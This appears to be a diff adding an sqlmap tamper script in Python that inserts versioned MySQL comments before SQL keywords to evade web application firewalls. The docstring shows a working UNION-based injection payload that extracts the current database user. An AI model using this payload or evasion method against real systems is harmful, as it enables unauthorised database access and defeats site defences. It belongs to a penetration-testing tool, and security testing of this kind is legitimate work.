|
| 1 | +#!/usr/bin/env python |
| 2 | + |
| 3 | +""" |
| 4 | +$Id$ |
| 5 | +
|
| 6 | +Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/) |
| 7 | +See the file 'doc/COPYING' for copying permission |
| 8 | +""" |
| 9 | + |
| 10 | +import os |
| 11 | +import re |
| 12 | + |
| 13 | +from lib.core.common import singleTimeWarnMessage |
| 14 | +from lib.core.data import kb |
| 15 | +from lib.core.enums import DBMS |
| 16 | +from lib.core.enums import PRIORITY |
| 17 | +from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS |
| 18 | + |
| 19 | +__priority__ = PRIORITY.HIGHER |
| 20 | + |
| 21 | +def dependencies(): |
| 22 | + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.0" % (os.path.basename(__file__)[:-3], DBMS.MYSQL)) |
| 23 | + |
| 24 | +def tamper(payload): |
| 25 | + """ |
| 26 | + Adds versioned MySQL comment before each keyword |
| 27 | +
|
| 28 | + Example: |
| 29 | + * Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa |
| 30 | + * Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa |
| 31 | +
|
| 32 | + Requirement: |
| 33 | + * MySQL < 5.0 |
| 34 | +
|
| 35 | + Tested against: |
| 36 | + * MySQL 4.0.18 |
| 37 | +
|
| 38 | + Notes: |
| 39 | + * Useful to bypass several web application firewalls when the |
| 40 | + back-end database management system is MySQL |
| 41 | + * Used during the ModSecurity SQL injection challenge, |
| 42 | + http://modsecurity.org/demo/challenge.html |
| 43 | + """ |
| 44 | + |
| 45 | + def process(match): |
| 46 | + word = match.group('word') |
| 47 | + if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: |
| 48 | + return match.group().replace(word, "/*!0%s" % word) |
| 49 | + else: |
| 50 | + return match.group() |
| 51 | + |
| 52 | + retVal = payload |
| 53 | + |
| 54 | + if payload: |
| 55 | + retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) |
| 56 | + retVal = retVal.replace(" /*!0", "/*!0") |
| 57 | + |
| 58 | + return retVal |
0 commit comments